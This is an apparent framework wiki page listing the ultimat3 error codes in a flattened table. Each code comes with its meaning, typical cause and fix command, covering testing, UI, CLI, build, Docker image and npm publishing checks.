defineExercise(…, { setup }) called allowHost(): the pass would send a primitive's call out for real, where every vendor is answered by mockFetch or cassette() mockFetch('https://<host>/*', handler) — or cassette(import.meta.dir, '') — in apps/web/exercise.ts's setup, in place of allowHost('') X_JOB_CRASH_UNBOUNDED a crash proof needs more kill points than its bound the job crossed more distinct step boundaries than crashProof kills at — usually one step per row named by something other than the row id (a slug, an email), so the boundaries of one loop do not read as one point and the proof would grow with the rows step.run(<name>:${row.id}, async () => …) # name a per-row step by the row's id, in the job crashProof named, so its loop is one kill point; then: x test job --filter X_EXERCISE_ACTOR_USER_UNSEATED the exercise pass could not seat its actor's x_users row x exercise writes one x_users row per actor it acts as (an app on @ultimat3/auth reads ctx.actor.id as one), and the insert was refused — a column the app added to x_users with no default, usually x exercise --json # after a migration under packages/db/migrations/ gives the column the app added to x_users a default, or makes it nullable X_EXERCISE_INPUT_THREW an exercise entry's input threw the input function of a defineExercise() entry threw before the pass could call its primitive — the throw is apps/web/exercise.ts's, never the handler's x exercise <name> --json — after the entry's input in apps/web/exercise.ts returns a value (it runs as the seated actor, inside the call's request), or { off: '' } X_TEST_SCOPE_UNINSTALLED a test double was made in a process the testing preload did not set up stub() or swapAdapter() ran with no @ultimat3/testing/preload loaded, so nothing would ever put the double back add preload = ["@ultimat3/testing/preload"] under [test] in bunfig.toml X_TEST_STUB_UNANSWERED a stubbed primitive was called before any answer was scripted stub(target) replaced the body, and the code under test called it before .returns() or .throws() said what to answer const stubbed = await stub(publishPost); stubbed.returns(<output>) — or .throws(new YourError(...)) — before the code under test runs X_TEST_STUB_TARGET_UNSUPPORTED stub() was handed something that is not an action, llm(), query or job the argument is not a primitive action(), query() or job() built — often the action's result or its name await stub(publishPost) — pass the action, llm(), query or job your module exports X_TEST_EXPECTED_INPUT_INVALID an assertion named an input its primitive's schema rejects toHaveBeenCalledWith or toHaveEnqueued parses the expected input through the primitive's own input schema, and it did not parse — no call could ever have matched it expect(stubbed).toHaveBeenCalledWith(<input the schema accepts>) — the issues are in the cause X_TEST_RUN_JOBS_EXPECTED toHaveEnqueued was handed something other than the runJobs fixture the receiver is the queue a test owns, and this one has no enqueued() reader unitTest(..., async ({ runJobs }) => { ...; await expect(runJobs).toHaveEnqueued(sendWelcome, { userId }); }) X_TEST_MAIL_EXPECTED toHaveSentMail was handed something other than the mail fixture the receiver is the outbox a test owns, and this one has no outbox() reader unitTest(..., async ({ mail }) => { ...; expect(mail).toHaveSentMail(welcomeMail, { to: address }); }) X_TEST_ADAPTER_PORT_UNSWAPPABLE swapAdapter() was named a port it cannot swap for one test the port has no process-global slot a test could borrow and hand back, or the name is no ADAPTER_PORTS row — the cause says what a test does instead await swapAdapter("jobs", memoryJobDriver()) — name a port SwappablePort lists, or do what the cause says for this one X_TEST_FACTORY_INVALID a factory builds a row its own entity refuses assertFactoriesValid() built and created every factory, and each trait alone, against its entity: a default or trait yields a column value the entity refuses, or a key it declares no column for edit the defaults or trait the cause names, in the file that declares its defineFactory(…), then re-run assertFactoriesValid(…) UI Code Means Typical cause Fix X_TOKEN_UNKNOWN design token role does not exist a typo, or a raw colour that was never a token; a defineTheme() override of a role, radius or font slot that is not in the scale; or — as a Sass @error, so the stylesheet does not compile — a breakpoint rung handed to respond-to / respond-down / respond-between that is not in $breakpoints use a role from @ultimat3/ui tokens; for a breakpoint, one of sm md lg xl 2xl — the @error lists them; see Theming X_THEME_INVALID theme is not light or dark a bad data-theme value set light or dark, or clear the attribute to follow the OS X_UI_RUNTIME_MISSING a host capability @ultimat3/ui needs is absent four conditions, one code, and the cause names which: no Solid runtime registered while a DOM render is under way (solid(), <UiProvider>); document/window absent when browserThemeEnv() is asked for theme control; Bun.CryptoHasher absent when hashing a brand stylesheet for CSP; the icon generator's own environment — no network to lucide-static, or no biome binary. Neither IntersectionObserver nor localStorage is one of them: InfiniteScroll returns without observing when the first is absent, and a theme read is wrapped in safeStorage for the private-mode Safari that throws on the second for the runtime, paste import { createContext, createEffect, createMemo, createRoot, createSignal, onCleanup, useContext } from 'solid-js'; at the top of the *.island.tsx and setSolidRuntime({ createContext, useContext, createSignal, createMemo, createEffect, onCleanup, createRoot }); as the first line of its mount(), above render() — x g resource <name> writes exactly those two lines, and a server render needs neither. Seven named imports, never import * as solidRuntime: the namespace registers too, and keeps every export of solid-js in the island chunk (14.8 kB minified, measured). Off the DOM, pass an explicit ThemeEnv: initTheme(myServerThemeEnv). For a CSP hash, call brandStyleCspSource() during build or SSR, never in browser code. For icons: bun install, then bun run --filter @ultimat3/ui icons X_UI_FORM_PATH_INVALID a form control name is not a usable field path two conditions, one code. A control name — or a fields entry handed to formBinding — the path grammar cannot read (items.0.price where items[0].price was meant, or items[]); or two controls describing different shapes for one path, user beside user.name. Refused at DECLARATION, which is the only place either can be caught: a name attribute and a schema issue path are the SAME string, so a path no issue can ever equal is a field whose server errors land at the top of the form forever — indistinguishable from an app with no bug at all. The conflict half is refused rather than resolved because either answer silently drops one control's value, and the value dropped is something the user typed rename it to a segment, then .segment or [index] — "title", "items[0].price", never "items.0.price" or "items[]". For the conflict, rename one of the two controls: a path segment holds a value or a container, never both X_UI_CONTRAST_INSUFFICIENT a brand palette pairing does not meet WCAG 2.2 AA a defineTheme() override whose RESOLVED channels — the app's overrides on top of the shipped palette — put a pairing in CONTRAST_PAIRS below its floor: 4.5:1 for text (WCAG 2.2 1.4.3), 3:1 for the focus ring (1.4.11), 1.4:1 for a border. Only pairings the brand can have CHANGED are measured, because blaming an app for the framework's own colours is how a rule gets switched off — and half a pairing is the usual defect: a new accent against the shipped white accent-fg. AA and never APCA: APCA is not a standard, and AA is the operative legal benchmark (EN 301 549, ADA Title II, the EAA) darken or lighten the named role's channels in defineTheme({ colors: { <theme>: { '<role>': '<R G B>' } } }) until contrastRatio() answers the required number — @ultimat3/ui exports contrastRatio and roleContrast to measure a candidate before shipping it X_UI_QR_CAPACITY text is too long for a QR code this component can draw <QrCode value> is more UTF-8 bytes than version 3 at error-correction level M holds — 42. @ultimat3/ui encodes versions 1–3 only (21×21 to 29×29 modules): the versions with at most one alignment pattern, no version-information block and one Reed-Solomon block, which is what keeps the encoder a dependency-free page rather than a library. A short URL (origin + '/' + 6-char slug) runs 25–30 bytes and fits; a full page URL does not. Refused rather than truncated, because a truncated link scans and then leads nowhere; the cause names the byte count and the ceiling shorten the value (a short URL, not a full page URL), or draw it with a full-range QR library outside @ultimat3/ui X_UI_INVALID_VALUE @ultimat3/ui received a value it cannot use NaN money or an invalid date reaching a formatting component; upstream icon data the glyph generator refuses — a body that is not JSON, a node that is not [tag, attributes], an attribute value or icon name off the allowlist; or — as a Sass @error — t.rem() / t.fluid() given a unit other than px or rem, t.fluid() given a viewport range that is empty or reversed, respond-between given $from at or above $to fix the value upstream; formatting never guesses, and the icon generator never emits data it could not validate — data the pinned version published is bun run --filter @ultimat3/ui icons --bump, which moves LUCIDE_VERSION to the latest release and regenerates. A Sass refusal carries the literal replacement in its own fix: — write respond-between("md", "lg"), pass a px length, e.g. rem(24px) CLI and verify Code Means Typical cause Fix X_SOURCE_HEADER_MISSING a shipped source file opens with no header comment the file states no single responsibility, so the next reader has to infer what it owns from its body add a 1–4 line header comment to the file the cause names, stating its single responsibility X_SOURCE_HEADER_OUT_OF_CONTRACT a shipped source file's leading header is outside the 1–4 line responsibility contract the first paragraph is empty, carries no prose, or runs past four lines — the responsibility is buried or absent rewrite the leading header of the file the cause names as 1–4 lines of prose stating its single responsibility X_SOURCE_HEADER_PIN_STALE a source-header pin is above the number of violations the tree now holds the file was repaired and the pin was not lowered, so the slack would let a new violation in delete or lower the row for the file the cause names in scripts/lib/source-header-pins.ts, then bun run scripts/source-headers.ts --json X_SOURCE_HEADER_UNSCANNED the source-header guard read no shipped source file the corpus glob matched nothing, so every file reported zero and the rule enforced nothing edit PATTERNS in scripts/lib/corpus.ts so it matches this repo layout, then bun run scripts/source-headers.ts --json X_DEPENDENCY_NOT_ALLOWLISTED a workspace manifest declares an external dependency with no allowlist row a new dependency was added without the stated reason root CLAUDE.md requires add the named manifest, field and dependency to scripts/lib/dependency-allowlist-data.ts with a reason, then bun run scripts/dependency-allowlist.ts --json X_DEPENDENCY_ALLOWLIST_STALE an allowlist row names a dependency no manifest declares the dependency was removed and the row stayed, so a later declaration of the same name would be waved through delete the row the cause names from scripts/lib/dependency-allowlist-data.ts, then bun run scripts/dependency-allowlist.ts --json X_DEPENDENCY_UNSCANNED the dependency guard read no workspace manifest, or no manifest declared a dependency the root manifest could not be read, or the workspace globs matched nothing — the allowlist then enforces nothing run bun run scripts/dependency-allowlist.ts --json from the repository root X_DEPENDENCY_RANGE_CONFLICT a root and workspace dependency pair has no shared version, or a range cannot be parsed the root package.json and a workspace manifest declare ranges that no single version satisfies, or the guard cannot compare them because a range uses invalid or unsupported syntax. The cause distinguishes these branches and names the dependency and both manifests with their ranges run bun run scripts/dependency-allowlist.ts --json — correct invalid or unsupported range syntax when the cause says it cannot be read; otherwise reconcile the ranges so a single version satisfies both X_CLI_UNKNOWN_COMMAND not a command a typo x help — the suggestion is in fix X_CLI_BAD_FLAG flag or positional rejected unknown flag, a bad value (--port abc, --workers 4.9 — refused, never coerced), a required positional left out, or a mandatory-subcommand command called bare. A missing positional says so and names it, rather than inventing a flag that does not exist. A well-formed argv whose answer is still no is not this code — a dev-tier seed refused against production is X_SEED_ENVIRONMENT, because a flag code says "you typed it wrong" and sends the reader to x help, which is the wrong instruction there x help <command>. Use that form and not --help on db and mcp — they declare no default subcommand, and the subcommand is resolved before the flag loop, so x db --help raises this same error again. Its fix: said exactly that until 2026-08 X_CLI_UNEXPECTED the CLI itself failed a bug, or a broken environment x doctor --json and attach it to an issue X_FRAMEWORK_SCHEMA_FAILED a framework table could not be created at boot a statement in FRAMEWORK_SCHEMA did not apply — the two real ones are a role that cannot apply DDL (42501: no create on schema public, or not the owner of an existing framework table — a production runtime role, which is why only the migrate step applies it), and a relation of that name already present with an incompatible shape. Raised in place of the driver's own rejection, which names neither the framework table being created nor the package that wants it, and a boot failure is read by an operator with no source tree open: cause names both and meta.tables lists every relation that entry creates. The list is reached on every boot path through startQueue: ROLE=migrate, x db migrate, x dev and x mcp serve apply it; a serving role on an external database only verifies the stamp the migrate step left; every other CLI command (x db backfill, x jobs, x auth) applies it only when this build's stamp is absent, because Postgres refuses even create index if not exists to a role that does not own the table — so "installed in dev and not in production" is not a state this framework can be in, and a runtime role with DML only runs no DDL provided this build's stamp is present — on a database the migrate step has not stamped, or stamped by another build, that command attempts the DDL and fails here, which is the signal to run the migrate step first. What it closed: x_users, x_sessions, x_accounts, x_verifications and x_api_keys were exported as DDL for an app to paste into a migration nobody wrote, and applied by NOTHING. They are not entity() declarations, so x db gen never saw them either, and the reference app recorded the symptom — nobody could hold a session — without anyone reaching the cause x db migrate with DATABASE_URL naming the role that owns schema public, as ROLE=migrate runs X_VERIFY_FAILED one or more verify steps failed the gate is red x verify --json — every step's findings arrive in one run X_TYPECHECK_FAILED tsc failed a type error anywhere in the workspace bunx tsc -b --pretty false X_LINT_FAILED Biome failed any, a default export, a bare Error, a raw hex colour. One finding per diagnostic: at, line and rule per finding. A format or import-order miss: bunx biome check --write <file>. A lint rule: bunx biome check <file>, then edit the line its comment names X_TEST_FAILED a test type failed a red test the fix is the exact bun test … invocation the step ran X_TEST_NO_FILES the test selection matched no files a type or --filter that matches nothing, or x test run outside the app drop the filter (x test), or point it at the right root: x test --cwd <repo root>. A green run over zero files is the most expensive false pass X_TEST_SHARD_FAILED a test shard exited non-zero registered, thrown by nothing since x test --worker was deleted. It was that flag's failure; one CI job's share of the suite is x verify --only unit --shard i/n, and a red test there or in x test is X_TEST_FAILED delete any branch matching this code, because it never runs. Match X_TEST_FAILED, whose fix is the rerun X_PACKAGE_UNREFERENCED a published workspace is not in the root tsconfig build graph bun run typecheck is tsc -b, which builds referenced projects and nothing else — so a package no root references entry names compiles nowhere and the gate's typecheck step reports green over it. scripts/new-package.ts never added the entry and nothing asked for it. Private packages are exempt, and a root that declares no references at all is a repo that builds another way the fix is the edit: add { "path": "./packages/<pkg>" } to "references" in tsconfig.json, then bunx tsc -b --pretty false X_VERIFY_SUITE_VANISHED a step the committed floor requires had nothing left to check x.verify.json names a step this repo already ran and the step found nothing — either its suite was deleted (the step reports as skipped) or every test in the files it did find skipped itself, which applies cannot see and only bun test's own summary reports. Both are a green gate over an unrun suite restore the suite or set what it skips without (TEST_DATABASE_URL for live), or delete that name from x.verify.json in the commit that says why — then x verify --json X_FILE_TOO_LONG a source file is over 500 lines one file doing several jobs split it; the fix names the file X_GUARD_INVALID a file in guards/ exports no usable guard the module has no guard export, or one missing summary/check. Discovery is the directory — nothing registers a guard, so a file that looks like one and is not must say so loudly rather than being skipped x verify --json — then export a guard from the file the finding names X_GUARD_FAILED an app guard threw instead of returning findings a guard is a function returning Finding[]; a throw means it could not answer at all, which is different from finding nothing. The cause carries the throw verbatim x verify --json — the cause carries the throw the guard raised X_GUARD_FINDING_INVALID an app guard's finding breaks the error contract a finding whose code is not X_-prefixed SCREAMING_SNAKE, an empty cause, or a fix that says "check" or "make sure" and names no command. Held to the identical rule x verify's errors step applies to shipped source — and checked on the returned value, which is the half a static scan cannot reach, since a fix built at run time has no literal x verify --json — then give the finding an X_ code, a cause, and a fix naming a command X_PACKAGE_SHAPE a workspace package is missing a contract file a package added by hand bun run scripts/new-package.ts <pkg> --only <file> X_ERROR_FIX_INVALID an error's fix line is not a runnable instruction the errors step read a fix: that is empty, or one that advises (check, make sure, try, see the docs) with no command, call or file path in it. Also one that opens with the failing command and defers the edit to a trailing # after … / # once …, or that only says to re-run (As of 2026-11: ratcheted per file in packages/cli/src/fix-sequence.ts, a file past its count reports every such line). And one whose runnable half runs x g … --force: a generator's file can be shared by a slice, and a pasted fix shows no diff before it overwrites — no allowance the fix names the offending <file>:<line> — rewrite that fix: as a runnable command, a call, or an edit naming a file X_ERROR_FIX_PATH_MISSING an error's fix line cites a file this repository does not have the errors step read a fix: naming a path or a glob and resolved it against the root the gate is running in. Only x <command> citations were checked until 2026-08, so a fix telling its reader to open a file that was moved, renamed or never written passed every gate — the live instance was X_UI_RUNTIME_MISSING, whose fix named a line no generator emitted. Narrow on purpose: a scoped specifier (@ultimat3/ui/global.scss), a dot-relative path (./global.scss) and any path whose parent directory this repo does not have (src/errors.ts, apps/web/server.ts — those name a directory the reader's app has) are not judged at all; since 19.1.1 neither is a path under a directory the root .gitignore never commits (.personal/fleet.yml) — private by design, present on a developer's disk and absent on CI the fix names the offending <file>:<line> — correct the path to one this repo holds, or create the file it names X_ERROR_CODE_UNDOCUMENTED a shipped error code has no row in the error reference a package declared an X_* code and the same pull request never added its row add a row for the code to wiki/Error-Codes.md — this page X_ERROR_CODE_UNREGISTERED the error reference documents a code no package registers a row written for a code that was renamed, never built, or emitted as a Finding without a registerErrorCodes() call register it in the owning package's src/errors.ts, or move its row under Reserved codes X_ERROR_CODE_UNTHROWN a registered error code is constructed by nothing and UNTHROWN_CODES in packages/cli/src/unthrown-codes.ts does not list it a code is registered and this page presents it as live, but no shipped source constructs it, so a reader matching on it waits for an error that cannot arrive. The waiver is a list, UNTHROWN_CODES in packages/cli/src/unthrown-codes.ts, or the code's place under Reserved codes — a row's wording waives nothing. Add the code to UNTHROWN_CODES and write "registered, thrown by nothing since " into its row, naming the code that replaced it — or throw it again where it belongs. Never delete the registration: a shipped code never changes meaning x errors explain X_ERROR_CODE_UNTHROWN --json X_ERROR_CODE_UNRESOLVED an error code is written as a name this repository cannot resolve the errors step read a code: whose value is an identifier, and no module-scope const in that same file gives it a value — an import, a local, an enum member. Every reader of the code set is then blind to whatever code it holds: no row in framework.manifest.json, no row demanded on this page, no entry for bun run gate-codes, no x errors explain answer. Silent and permissive, so the DRYer the author the less the gate saw (#277). A const NAME = 'X_…' in the SAME file is resolved and is not a finding; a table read (SEO_ERROR_CODES.metaMissing) is not judged, because the registry it reads from declares those literals itself the fix names the offending <file>:<line> — write the X_* code as a string literal there, or declare it as a module-scope const in that same file X_ERROR_RENDER_UNSAFE an error factory builds its cause: or fix: from an unknown in a way that can throw a parameter typed unknown/any reaching a message through bare ${value}, JSON.stringify(value) or String(value). All three throw on a real app value — JSON.stringify on a bigint or a cycle, and it runs any toJSON the value carries, so an app object can hijack the constructor and the caller catches something that is not the error the framework meant to raise. This shipped three separate times before it was mechanised the fix names the <file>:<line> — wrap it: renderCauseValue(x) for a cause, which only has to describe, or renderFixLiteral(x, '<placeholder>') for a fix, which has to parse. Both from @ultimat3/core X_ERROR_STATUS_MISSING a framework code has no row in @ultimat3/http's closed status table a package at tier 4 or below declared an X_* code and the same pull request never gave it a status, so statusFor falls to DEFAULT_STATUS (500) and packages/http/src/stages.ts reports every status >= 500 to the error monitor — a caller's typo pages the on-call. Ten codes were in that state when the rule shipped the fix names the code — add <CODE>: <status>, to ERROR_STATUS in packages/http/src/error-map.ts, or add it to its owner's group in scripts/error-map-backlog.ts if it can never reach a request X_ERROR_STATUS_BACKLOG_STALE a pin in the status-table ratchet has been resolved and left behind scripts/error-map-backlog.ts still lists a code that packages/http/src/error-map.ts now maps, or one no package declares any more. "Can this code reach a request?" is not derivable from the source, so the classification is pinned and ratcheted — and a pin nobody removes is a pin nobody reads the fix names the code and its group — delete that entry from scripts/error-map-backlog.ts X_ERROR_STATUS_UNKNOWN_CODE the status table maps a code no package declares a mistyped or renamed row in ERROR_STATUS. It reads as enforced and maps nothing, while the real code still falls through to 500 the fix names the row — delete it from packages/http/src/error-map.ts, or register the code in its owning package's src/errors.ts X_CATALOG_KEY_UNREACHABLE the framework catalog defines a key no framework source can reach packages/i18n/src/catalogs/en.json carries a key in a namespace the framework itself renders (admin.*, dev.*, ui.*) that no t() call and no key-shaped literal in packages/*/src names — so it describes a screen that no longer exists and reads to the next author as a key that works. An admin.nav.*/admin.table.* block was in that state while every admin screen rendered ⟦admin.list.loading⟧. Namespaces the framework only ships for an app (common.*, auth.*, errors.*, pagination.*, validation.*, time.*) are exempt, derived from the source rather than listed the fix names the key — delete it from packages/i18n/src/catalogs/en.json, or render it: t('<key>') in the view that needs it. Run bun run scripts/i18n-catalog.ts --json X_CATALOG_CARRIER_UNSCANNED the carried-key rule found no key the framework hands to t() through a constant or a property scripts/catalog-keys.ts derives its carriers from the framework's own dynamic t() calls (t(row.reason), ui.t(UI_KEYS.close)), so a renamed t() or a moved corpus leaves it nothing to check — and a rule with no input reads exactly like a tree with no missing key bun run scripts/catalog-keys.ts --json — then edit DYNAMIC_CALL in scripts/catalog-keys.ts to match how the framework calls t() X_CLI_FLAG_UNREAD a command declares a flag no code reads the CLI's own declarations held to each other: a FlagSpec the parser accepts and no file under packages/cli/src reads is a promise x help makes with nothing behind it. x deploy --critical said "forces clients to reload" and reached no reader outside the plan JSON. The four global flags are excluded — the parser owns them — and any bare 'name' literal outside a name:/short: spec field counts as a read, so a flag echoed into --json still counts bun test packages/cli/src/flag-reads.test.ts — the finding names the flag and the file to read it in X_PUBLISH_LIST_INCOMPLETE .github/workflows/release.yml does not publish every publishable workspace — or contains no npm publish command at all the publish list was kept by hand and a package was added without one. @ultimat3/flags was in exactly this state from 1.0.0 to 2026-08: the registry answered 404 while every consumer resolved it through the workspace, so nothing in the repo noticed bun run scripts/release-workflow.ts --json — the fix carries the exact -w <name> and the step to add it to, or derive the list from scripts/list-workspaces.ts and it cannot recur X_PUBLISH_LIST_UNKNOWN a publish step names a workspace this tree cannot publish — no such package, or a private one a rename, a deletion, or a typo in a -w flag. npm publish exits non-zero on it, and the packages published by the steps before it cannot be unpublished bun run scripts/release-workflow.ts --json — the fix carries the exact -w <name> to delete from .github/workflows/release.yml X_BENCH_CLAIM_STALE a realtime capacity figure in CLAUDE.md is not the figure scripts/bench/results/*.json carries the bench was re-run and the prose was not updated, or the prose was edited by hand. A duration renders as (ms / 1000).toFixed(1) seconds and a count comma-grouped every three digits; nothing else is accepted, and a reworded sentence reports as unstated rather than passing silently bun run scripts/bench-claims.ts --json — the fix carries the exact string to write into CLAUDE.md X_BENCH_URL_REQUIRED the restart benchmark's client shard was started without --url the shard has no endpoint to connect its clients to, and the orchestrator had already spawned it — a bare Error said nothing a --json reader could act on bun run scripts/bench/restart-bench-client-worker.ts --url <ws-url> --count <n> --offset <n> X_BENCH_STREAM_CLOSED the restart benchmark's stdout closed before the line it was waiting for the shard or the server process ended without printing its READY or FINAL line, so the orchestrator was reading a stream that could never answer — the measurement it was about to report was never taken bun run scripts/bench/restart-bench.ts --clients 50000 --out scripts/bench/results/50k-restart.json X_BENCH_RUN_TOO_SHORT http-hello was asked for a run under 10 seconds a shorter run measures warm-up and a handful of requests, not the server, and is refused before a request is sent bun run scripts/bench/http-hello.ts --url <url> --seconds 30 X_BENCH_RUN_FAILED a bench run produced no publishable figure http-hello got a non-2xx answer or no answer at all (the server refused or died mid-run), its --start command never answered 2xx, or a first-hour step failed in a clean first run. The run is reported with every count, never as a figure curl -si <url> for http-hello; for first-hour, the failed step's command in the work directory the finding names X_WIKI_TABLE_MALFORMED a markdown table in wiki/ does not render as a table a row whose cell count differs from its header, a delimiter row of the wrong width, or a header with no delimiter under it. GFM drops the extra cells silently on the published page, so the wiki renders wrong and nothing says so. An escaped pipe is content, not a delimiter — 36 rows across 16 pages rely on that bun run scripts/wiki-tables.ts --json — the fix names the file, the line and the cell count the row must have X_FRAME_DOCS_STALE wiki/Realtime.md and FRAME_KINDS disagree the page never names a frame the wire sends, or names a frame no kind matches — a frame renamed or added in packages/realtime/src/sync-protocol.ts without the only public description of the protocol following it bun run scripts/wiki-frames.ts --json — the fix names the frame and the page X_CHART_VERSION_STALE docker/helm/Chart.yaml's version or appVersion is not the version every publishable workspace is stamped at scripts/release.ts rewrites workspace manifests and a chart is not a workspace, so the number was hand-kept and sat at 0.0.1 through every 1.x release. values.yaml ships image.tag: "", so appVersion is the tag helm install pulls — a stale one is an ImagePullBackOff, not a doc nit bun run scripts/chart-version.ts --json — the fix carries the exact line to write, and a real release now performs it for you X_IMAGE_LIBC_MISMATCH the stage, stage index or external image any Dockerfile in the tree copies its runtime artifact from links a different C library than the runtime provides a musl build base (alpine) under a glibc runtime (distroless/cc, debian, slim), or the reverse. The binary asks for a loader that is not there, every container exits exec …: no such file or directory, and docker build still succeeds — which is how a dead-on-arrival image shipped green. An image neither family pattern recognises is not reported: unknown is not broken bun run scripts/image-contract.ts --json, then docker build -f docker/Dockerfile . — the fix names the stage whose FROM must change X_IMAGE_GUARD_MISSING the final stage of any Dockerfile in the tree declares an ENTRYPOINT that no RUN in that same stage executes the guard sits in an earlier stage, or is absent. Proving the binary runs on the build image proves nothing about what ships, and the Dockerfile that shipped the libc mismatch above did carry a guard — in the wrong stage. A stage with no ENTRYPOINT has nothing to guard and is not reported bun run scripts/image-contract.ts --json — the fix carries the exact RUN ["<entrypoint>", "--version"] to add to the final stage X_IMAGE_SECRET_UNIGNORED a *.dockerignore in this tree excludes .env and .npmrc but not .secrets.key, or a Dockerfile has no ignore file at all — no <Dockerfile>.dockerignore, no .dockerignore at or above it the build stage's COPY . . then bakes the AES master key into a layer beside the committed secrets.enc.json it decrypts, and findMasterKey reads the key FILE whenever ULTIMATE_SECRETS_KEY is unset — so the container boots on the baked key and the platform's key is never exercised, while wiki/CLI-Reference.md promises an image that "ships no key file at all". All four ignore files carried the .env block and none carried this line bun run scripts/image-contract.ts --json — the fix names the file; add **/.secrets.key beside its .npmrc line X_IMAGE_CONTENT_UNIGNORED a *.dockerignore in this tree does not exclude **/*.test.ts, **/*.test.tsx or the anchored docs, or a later ! line undoes one the build stage's COPY . . then carries files no boot reads, and an edit to one reruns every line below it, x build --target prebuilt included. A !docs/<path> for one file is the documented escape and no finding bun run scripts/image-contract.ts --json: its fix appends the missing lines to the file it names X_APP_PACKAGE_INVALID the app's package.json has no usable name/version — the manifest never fabricates app@0.0.0, because its version is the compatibility gate a malformed or hand-trimmed package.json bun pm pkg set name=<app> version=0.1.0 X_BUILD_FAILED x build failed a static check or the bundler. For a browser entry the framework builds, the cause names which: an island file, the sync worker or the page boot read cause; the failing step is named. For a framework script: bun build --target browser --format iife <entry> X_BUILD_ENTRY_MISSING the build target's entry file is not in the app an app scaffolded before x new wrote apps/web/server.ts and apps/web/prerender.ts, or one whose docker/Dockerfile was deleted — refused before the builder is spawned, because bun build's own "module not found" names no owner the fix names the file; x new <name> --dry-run --json lists every entry a build needs X_DEPLOY_FAILED a deploy step failed the compose/helm command exited non-zero run the printed command directly for full output X_RUNTIME_DRIVER_SPLIT the ambient driver is not the one this process serves an app module installing a driver itself at import time (before 31.0.0, setJobDriver()). startServices builds the drivers and captures them, and loadApp runs after it — so the ambient slot moves and the captured object does not: the worker claims from what was captured while every handle.enqueue() publishes to what is ambient. Jobs are accepted, acknowledged, visible in /_x and never run. Refused at boot, because the alternative is a deployment that only ever looks healthy export const runtime = { <driver>: yourDriver } satisfies RuntimeOverrides; in apps/web/runtime.ts — and delete the module's own install call X_SETUP_INSTALL_FAILED bun install failed during bun run setup a conflicted lockfile, or a half-written node_modules rm -rf node_modules bun.lock && bun install X_RELEASE_VERSION_SKEW a workspace is not at the lockstep version a package bumped on its own, or a release that stopped half-way bun run scripts/release.ts --bump patch --dry-run --json to see the realignment, then run it without --dry-run and review the package.json diff X_TRUST_PUBLISHER_MISSING a published package has no OIDC trusted publisher a package added after the trust rollout, or a config revoked on npmjs.com — release day then falls back to token auth, which this repo has no token for bun run scripts/trust-publishers.ts X_REGISTRY_BOOTSTRAP_OWED a publishable workspace is absent from the registry — its packument answers 404 a package added after a release run: no run has ever seen it, so trusted publishing has nothing to bootstrap from. The finding names its ordinal in the derived publish order and how many packages a release publishes irreversibly before dying on this one. @ultimat3/flags was this until 2.0.0; @ultimat3/scraping until 2026-08-19 npm publish -w <pkg> --access public --provenance=false (PUBLISHING.md step 1), then bun run scripts/trust-publishers.ts X_REGISTRY_VERSION_BEHIND the registry holds the package but not the version this tree stamps the release that should have published it did not reach it — an aborted run leaves every package after the failure behind gh workflow run release.yml --ref v<version> -f version=<version>; when that aborts EPUBLISHCONFLICT on a sibling already at the version, npm publish -w <pkg> --access public --provenance=false X_REGISTRY_UNATTESTED the stamped version is on the registry with no dist.attestations, published by a person it was published by hand rather than by release.yml, so nothing proves the workflow built that tarball. Every @ultimat3/* package at 2.0.0 is in this state bun run scripts/trust-publishers.ts --json, then release the next version through the workflow (bun run scripts/release.ts --bump patch) — npm publishes are immutable, so the affected version can never gain an attestation X_REGISTRY_LATEST_DRIFT the stamped version is on the registry and attested, but npm's default latest is not it a lockstep set split across two versions with latest left on whichever publish finished last, so npm install @ultimat3/* and bunx create-ultimate resolve a release this tree does not stamp while every tarball is real and proven. Nothing else here sees it: the stamped version IS present, attested and tagged, so X_REGISTRY_VERSION_BEHIND and X_REGISTRY_UNATTESTED cannot fire npm dist-tag add <pkg>@<version> latest — or, when the newer tag is the real release, bump the tree instead: bun run scripts/release.ts --bump patch X_REGISTRY_UNREACHABLE the registry did not answer — timeout, non-2xx, or a 200 that is not a packument a rate limit or a network fault. Deliberately not reported as absent: a request that failed is not evidence that a package is unpublished, and treating it as one would send someone to re-bootstrap a live package curl -sS -o /dev/null -w '%{http_code}\n' https://registry.npmjs.org/<pkg>, then re-run bun run scripts/registry-audit.ts --json X_TRUST_PUBLISHER_FAILED attaching a trusted publisher failed npm rejected the call for a reason other than auth — most often E409, a stale config from an earlier attempt that must be revoked before it can be replaced the fix names the package; revoke the old one (npm trust list <pkg> --json, then npm trust revoke <pkg> --id <id>) and re-run bun run scripts/trust-publishers.ts X_TRUST_2FA_REQUIRED npm refused the trust change on the credential's class a granular access token that bypasses two-factor auth — attaching a publisher is an account-level trust change, so npm requires a session that carries 2FA, and no OTP flag rescues a bypass token npm login, then bun run scripts/trust-publishers.ts X_TRUST_ENVIRONMENT_EMPTY --environment was given as an empty string an empty value attaches a publisher npm honours from any environment, which disables the required reviewer and the v* tag rule the npm-publish environment carries — and because the check compared '' to '', the same argument that turned the gate off also made it report configured bun run scripts/trust-publishers.ts --environment npm-publish X_TRUST_NPM_TOO_OLD the npm on PATH has no trust subcommand npm trust shipped in npm 12; Node 22 and Bun both bundle older npm install -g npm@12 X_GENERATE_CONFLICT a generator would overwrite a file the name is taken x g … --force, or choose another name X_GENERATE_JSON_INVALID a generator's own merge: 'json' output does not parse as a JSON object a bug in the template that produced it — never a file already on disk, which X_GENERATE_CONFLICT covers fix the template that emits it, then bun test packages/cli/src/cmd-generate.test.ts X_SCAFFOLD_PATH_ESCAPE a generated path resolves outside the scaffold sandbox a .. segment or an absolute path in a template's GeneratedFile.path make the path relative to the app root with no .., then bun test packages/cli/src/scaffold-typecheck.contract.test.ts X_NOT_IMPLEMENTED a planned command, or a driver whose remote half is unwritten one of the commands in CLI reference's planned table the fix names the closest shipped command — never "not a command", which would send you looking for a typo X_ERROR_CODE_UNKNOWN no package registered this error code a typo, or a code from a package this process could not import x errors list --json — the nearest real code is in fix, and data.unavailable names any package that would not load X_DECLARATION_UNKNOWN no declaration with this name is registered a typo, or a module that never imported. x db seed <name> answers with it too — a seed is a declaration, and the cause lists every seed the app does declare x actions list --json (or queries / entities); x db seed --dry-run --json for a seed, which lists them and writes nothing X_SEED_ENVIRONMENT the seed's tier is not one this environment runs x db seed <name> naming a dev-tier seed while ULTIMATE_ENV resolves production, which runs reference only. dev fixtures reaching production is the one irreversible thing x db seed can do, so it is refused rather than confirmed — and the check runs twice, in selectSeeds and again in cmd-db.ts before the driver is booted, because the layer that opens a connection to production must not be the only layer that decided it was allowed to. Its own code and not X_CLI_BAD_FLAG: the argv was well formed, and the one remedy is naming the tier rather than re-reading x help x db seed <name> --tier <tier> --json 